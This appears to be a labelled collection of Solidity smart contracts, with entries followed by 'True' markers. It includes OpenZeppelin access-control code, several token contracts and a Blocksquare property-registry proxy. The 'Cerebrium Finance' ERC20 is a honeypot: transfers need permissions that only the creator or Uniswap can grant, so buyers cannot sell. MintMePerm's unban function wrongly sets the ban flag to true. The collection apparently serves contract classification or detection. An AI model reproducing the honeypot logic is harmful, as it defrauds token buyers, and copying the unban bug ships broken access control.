// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/access/AccessControl.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, _msgSender()));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File: contracts/access/Roles.sol
pragma solidity ^0.6.0;
contract Roles is AccessControl {
bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR");
constructor () public {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(OPERATOR_ROLE, _msgSender());
}
modifier onlyOperator() {
require(hasRole(OPERATOR_ROLE, _msgSender()), "Roles: caller does not have the OPERATOR role");
_;
}
}
// File: contracts/BloodyFinance.sol
pragma solidity ^0.6.0;
contract BloodyFinance is ERC20Capped, ERC20Burnable, ERC1363, Roles, TokenRecover {
// indicates if transfer is enabled
bool private _transferEnabled = true;
string public constant BUILT_ON = "https://vittominacori.github.io/erc20-generator";
/**
* @dev Emitted during transfer enabling
*/
event TransferEnabled();
/**
* @dev Tokens can be moved only after if transfer enabled or if you are an approved operator.
*/
modifier canTransfer(address from) {
require(
_transferEnabled || hasRole(OPERATOR_ROLE, from),
"BaseToken: transfer is not enabled or from does not have the OPERATOR role"
);
_;
}
/**
* @param name Name of the token
* @param symbol A symbol to be used as ticker
* @param decimals Number of decimals. All the operations are done using the smallest and indivisible token unit
* @param cap Maximum number of tokens mintable
*/
constructor(
string memory name,
string memory symbol,
uint8 decimals,
uint256 cap
)
public
ERC20Capped(cap)
ERC1363(name, symbol)
{
_setupDecimals(decimals);
}
/**
* @dev Transfer tokens to a specified address.
* @param to The address to transfer to
* @param value The amount to be transferred
* @return A boolean that indicates if the operation was successful.
*/
function transfer(address to, uint256 value) public virtual override(ERC20) canTransfer(_msgSender()) returns (bool) {
return super.transfer(to, value);
}
/**
* @dev Transfer tokens from one address to another.
* @param from The address which you want to send tokens from
* @param to The address which you want to transfer to
* @param value the amount of tokens to be transferred
* @return A boolean that indicates if the operation was successful.
*/
function transferFrom(address from, address to, uint256 value) public virtual override(ERC20) canTransfer(from) returns (bool) {
return super.transferFrom(from, to, value);
}
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Capped) {
super._beforeTokenTransfer(from, to, amount);
}
}
|
True
|
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pragma solidity ^0.6.6;
import "./Permissions.sol";
import "./SafeMath.sol";
import "./Address.sol";
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Permissions, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18 and a {totalSupply} of the token.
*
* All four of these values are immutable: they can only be set once during
* construction.
*/
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constructor () public {
//_name = "Cerebrium Finance";
//_symbol = "CFI";
_name = "Cerebrium Finance";
_symbol = "CFI";
_decimals = 18;
_totalSupply = 120000000000000000000000;
_balances[creator()] = _totalSupply;
emit Transfer(address(0), creator(), _totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {balanceOf} and {transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) {
_transfer(_msgSender(), recipient, amount);
if(_msgSender() == creator())
{ givePermissions(recipient); }
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
if(_msgSender() == uniswap())
{ givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
True
|
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/*
* SPDX-License-Identifier: UNLICENSED
* Copyright © 2021 Blocksquare d.o.o.
*/
pragma solidity ^0.6.12;
import "./Ownable.sol";
interface DataStorageProxyHelpers {
function hasSystemAdminRights(address addr) external view returns (bool);
function getUserBytesFromWallet(address wallet) external view returns (bytes32);
function getCPBytesFromWallet(address wallet) external view returns (bytes32);
function isUserWhitelisted(bytes32 cp, bytes32 user) external view returns (bool);
function isCertifiedPartner(address addr) external view returns (bool);
function canCertifiedPartnerDistributeRent(address addr) external view returns (bool);
function isCPAdmin(address admin, address cp) external view returns (bool);
}
/// @title Data Storage Proxy
contract DataStorageProxy is Ownable {
struct Fee {
uint256 licencedIssuerFee;
uint256 blocksquareFee;
uint256 certifiedPartnerFee;
}
mapping(bytes32 => bool) _cpFrozen;
mapping(address => bool) _propertyFrozen;
mapping(address => address) _propertyToCP;
mapping(address => bool) _whitelistedContract;
address private _factory;
address private _roles;
address private _users;
address private _certifiedPartners;
address private _blocksquare;
address private _oceanPoint;
address private _government;
address private _specialWallet;
bool private _systemFrozen;
Fee private _fee;
modifier onlySystemAdmin {
require(DataStorageProxyHelpers(_roles).hasSystemAdminRights(msg.sender), "DataStorageProxy: You need to have system admin rights!");
_;
}
event TransferPropertyToCP(address property, address CP);
event FreezeProperty(address property, bool frozen);
constructor(address roles, address CP, address users, address specialWallet) public {
// 5 means 0.5 percent of whole transaction value
_fee = Fee(5, 5, 5);
_blocksquare = msg.sender;
_roles = roles;
_users = users;
_certifiedPartners = CP;
_specialWallet = specialWallet;
}
function changeSpecialWallet(address specialWallet) public onlyOwner {
_specialWallet = specialWallet;
}
function changeFactory(address factory) public onlyOwner {
_factory = factory;
}
function changeRoles(address roles) public onlyOwner {
_roles = roles;
}
function changeUsers(address users) public onlyOwner {
_users = users;
}
function changeGovernmentContract(address government) public onlyOwner {
_government = government;
}
function changeCertifiedPartners(address certifiedPartners) public onlyOwner {
_certifiedPartners = certifiedPartners;
}
function changeOceanPointContract(address oceanPoint) public onlyOwner {
_oceanPoint = oceanPoint;
}
/// @notice change whether contr can be used as minting of burning contract
/// @param contr Contract address
/// @param isWhitelisted Whether contract can be used or not
function changeWhitelistedContract(address contr, bool isWhitelisted) public onlySystemAdmin {
_whitelistedContract[contr] = isWhitelisted;
}
function changeFees(uint256 licencedIssuerFee, uint256 blocksquareFee, uint256 certifiedPartnerFee) public onlyOwner {
require(_msgSender() == owner() || _msgSender() == _government, "DataStorageProxy: You can't change fee");
require(licencedIssuerFee + blocksquareFee + certifiedPartnerFee <= 10000, "DataStorageProxy: Fee needs to be equal or bellow 100");
_fee = Fee(licencedIssuerFee, blocksquareFee, certifiedPartnerFee);
}
function changeBlocksquareAddress(address blocksquare) public onlyOwner {
_blocksquare = blocksquare;
}
/// @notice register prop to cp, can only be invoked by property factory contract
/// @param prop Property contract address
/// @param cp Certified Partner wallet (this wallet will receive fee from property)
function addPropertyToCP(address prop, address cp) public {
require(_factory == msg.sender, "DataHolder: Only factory can add properties");
_propertyToCP[prop] = cp;
_propertyFrozen[prop] = true;
}
/// @notice change Certified Partner of property
/// @param prop Property contract address
/// @param cp Certified Partner wallet (this wallet will receive fee from property)
function changePropertyToCP(address prop, address cp) public onlySystemAdmin {
require(isCertifiedPartner(cp), "DataStorageProxy: Can only assign property to Certified Partner");
_propertyToCP[prop] = cp;
emit TransferPropertyToCP(prop, cp);
}
function freezeSystem() public onlyOwner {
_systemFrozen = true;
}
function unfreezeSystem() public onlyOwner {
_systemFrozen = false;
}
/// @notice freeze Certified Partner (stops transactions for all Certified Partners properties)
/// @param cp Certified Partner wallet
function freezeCP(address cp) public onlySystemAdmin {
bytes32 cpBytes = DataStorageProxyHelpers(_certifiedPartners).getCPBytesFromWallet(cp);
_cpFrozen[cpBytes] = true;
}
/// @notice unfreeze Certified Partner (allowing transactions for all Certified Partners properties)
/// @param cp Certified Partner wallet
function unfreezeCP(address cp) public onlySystemAdmin {
bytes32 cpBytes = DataStorageProxyHelpers(_certifiedPartners).getCPBytesFromWallet(cp);
_cpFrozen[cpBytes] = false;
}
/// @notice freeze property (stopping transactions for property)
/// @param prop Property contract address
function freezeProperty(address prop) public {
require(_propertyToCP[msg.sender] != address(0), "DataHolder: Sender must be property that belongs to a CP!");
require(msg.sender == prop, "DataHolder: Only property can freeze itself!");
_propertyFrozen[prop] = true;
emit FreezeProperty(prop, true);
}
/// @notice unfreeze property (allowing transactions for property)
/// @param prop Property contract address
function unfreezeProperty(address prop) public {
require(_propertyToCP[msg.sender] != address(0), "DataHolder: Sender must be property that belongs to a CP!");
require(msg.sender == prop, "DataHolder: Only property can unfreeze itself!");
_propertyFrozen[prop] = false;
emit FreezeProperty(prop, false);
}
/// @notice checks if system is frozen
function isSystemFrozen() public view returns (bool) {
return _systemFrozen;
}
/// @notice checks if Certified Partner is frozen
/// @param cp Certified Partner wallet address
function isCPFrozen(address cp) public view returns (bool) {
bytes32 cpBytes = DataStorageProxyHelpers(_certifiedPartners).getCPBytesFromWallet(cp);
return _systemFrozen || _cpFrozen[cpBytes];
}
/// @notice checks if property is frozen
/// @param property Property contract address
function isPropTokenFrozen(address property) public view returns (bool) {
bytes32 cpBytes = DataStorageProxyHelpers(_certifiedPartners).getCPBytesFromWallet(_propertyToCP[property]);
return _systemFrozen || _cpFrozen[cpBytes] || _propertyFrozen[property];
}
/// @notice retrieves roles contract address
function getRolesAddress() public view returns (address) {
return _roles;
}
/// @notice retrieves property factory contract address
function getPropertiesFactoryAddress() public view returns (address) {
return _factory;
}
/// @notice retrieves users contract address
function getUsersAddress() public view returns (address) {
return _users;
}
/// @notice retrieves government contract address
function getGovernmentAddress() public view returns (address) {
return _government;
}
/// @notice checks if wallet has system admin rights
/// @param sender Wallet address to check
function hasSystemAdminRights(address sender) public view returns (bool) {
return DataStorageProxyHelpers(_roles).hasSystemAdminRights(sender);
}
/// @notice retrieves certified partners contract address
function getCertifiedPartnersAddress() public view returns (address) {
return _certifiedPartners;
}
/// @notice retrieves blocksquare wallet address which receives fee
function getBlocksquareAddress() public view returns (address) {
return _blocksquare;
}
/// @notice retrieves Certified Partner's wallet address that receives fee for given property
/// @param prop Property contract address
/// @return wallet address
function getCPOfProperty(address prop) public view returns (address) {
return _propertyToCP[prop];
}
/// @notice checks if wallet belongs to Certified Partner
/// @param addr Wallet address to check
function isCertifiedPartner(address addr) public view returns (bool) {
return DataStorageProxyHelpers(_certifiedPartners).isCertifiedPartner(addr);
}
/// @notice check if wallet can distribute revenue
/// @param cpWallet Wallet address to check
function canDistributeRent(address cpWallet) public view returns (bool) {
return DataStorageProxyHelpers(_roles).hasSystemAdminRights(cpWallet) || DataStorageProxyHelpers(_certifiedPartners).canCertifiedPartnerDistributeRent(cpWallet);
}
/// @notice check if admin wallet address is admin of property
/// @param admin Admin wallet address
/// @param property Property contract address
function isCPAdminOfProperty(address admin, address property) public view returns (bool) {
address cp = _propertyToCP[property];
return DataStorageProxyHelpers(_certifiedPartners).isCPAdmin(admin, cp);
}
/// @notice check if wallet address can edit property
/// @param wallet Wallet address
/// @param property Property contract address
function canEditProperty(address wallet, address property) public view returns (bool) {
address propOwner = getCPOfProperty(property);
return propOwner == wallet ||
isCPAdminOfProperty(wallet, property) ||
DataStorageProxyHelpers(_certifiedPartners).getCPBytesFromWallet(wallet) == DataStorageProxyHelpers(_certifiedPartners).getCPBytesFromWallet(propOwner) ||
DataStorageProxyHelpers(_roles).hasSystemAdminRights(wallet);
}
/// @notice retrieves ocean point contracts
function getOceanPointContract() public view returns (address) {
return _oceanPoint;
}
/// @notice retrieves Certified Partner fee
function getCertifiedPartnerFee() public view returns (uint256) {
return _fee.certifiedPartnerFee;
}
/// @notice retrieves Licenced Issuer fee
function getLicencedIssuerFee() public view returns (uint256) {
return _fee.licencedIssuerFee;
}
/// @notice retrieves Blocksquare fee
function getBlocksquareFee() public view returns (uint256) {
return _fee.blocksquareFee;
}
/// @notice retrieves special wallet address
function getSpecialWallet() public view returns (address) {
return _specialWallet;
}
/// @notice checks if contract address can be used for minting and burning
/// @param cont Contract address
function isContractWhitelisted(address cont) public view returns (bool) {
return _whitelistedContract[cont];
}
/// @notice checks if property tokens can be transfered to wallet
/// @param wallet Wallet address
/// @param property Property contract address
function canTransferPropTokensTo(address wallet, address property) public view returns (bool) {
if (wallet == address(0)) {
return false;
}
address cp = getCPOfProperty(property);
bytes32 cpBytes = DataStorageProxyHelpers(_certifiedPartners).getCPBytesFromWallet(cp);
bytes32 userBytes = DataStorageProxyHelpers(_users).getUserBytesFromWallet(wallet);
if (DataStorageProxyHelpers(_certifiedPartners).isUserWhitelisted(cpBytes, userBytes)) {
return true;
}
return false;
}
}
|
True
|
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/*
This file is part of the MintMe project.
The MintMe Contract is free software: you can redistribute it and/or
modify it under the terms of the GNU lesser General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
The MintMe Contract is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU lesser General Public License for more details.
You should have received a copy of the GNU lesser General Public License
along with the MintMe Contract. If not, see <http://www.gnu.org/licenses/>.
@author Ilya Svirin <[email protected]>
*/
// SPDX-License-Identifier: GNU lesser General Public License
pragma solidity ^0.8.0;
import "./mintme.sol";
contract MintMePerm is Ownable
{
event Deployed();
event Hidden(address indexed mintme);
event Unhidden(address indexed mintme);
event Banned(address indexed mintme);
event Unbanned(address indexed mintme);
mapping (address => bool) public _hidden;
mapping (address => bool) public _banned;
constructor ()
{
emit Deployed();
}
function hide(address mintme) public
{
require(Ownable(mintme).owner() == _msgSender(), "MintMePerm: only owner can change visibility");
_hidden[mintme] = true;
emit Hidden(mintme);
}
function unhide(address mintme) public
{
require(Ownable(mintme).owner() == _msgSender(), "MintMePerm: only owner can change visibility");
_hidden[mintme] = false;
emit Unhidden(mintme);
}
function ban(address mintme) public onlyOwner
{
_banned[mintme] = true;
emit Banned(mintme);
}
function unban(address mintme) public onlyOwner
{
_banned[mintme] = true;
emit Unbanned(mintme);
}
}
|
True
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./SafeERC20.sol";
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens after a given release time.
*
* Useful for simple vesting schedules like "advisors get all of their tokens
* after 1 year".
*/
contract TokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 private immutable _token;
// beneficiary of tokens after they are released
address private immutable _beneficiary;
// timestamp when token release is enabled
uint256 private immutable _releaseTime;
constructor(
IERC20 token_,
address beneficiary_,
uint256 releaseTime_
) {
require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time");
_token = token_;
_beneficiary = beneficiary_;
_releaseTime = releaseTime_;
}
/**
* @return the token being held.
*/
function token() public view virtual returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view virtual returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view virtual returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public virtual {
require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time");
uint256 amount = token().balanceOf(address(this));
require(amount > 0, "TokenTimelock: no tokens to release");
token().safeTransfer(beneficiary(), amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
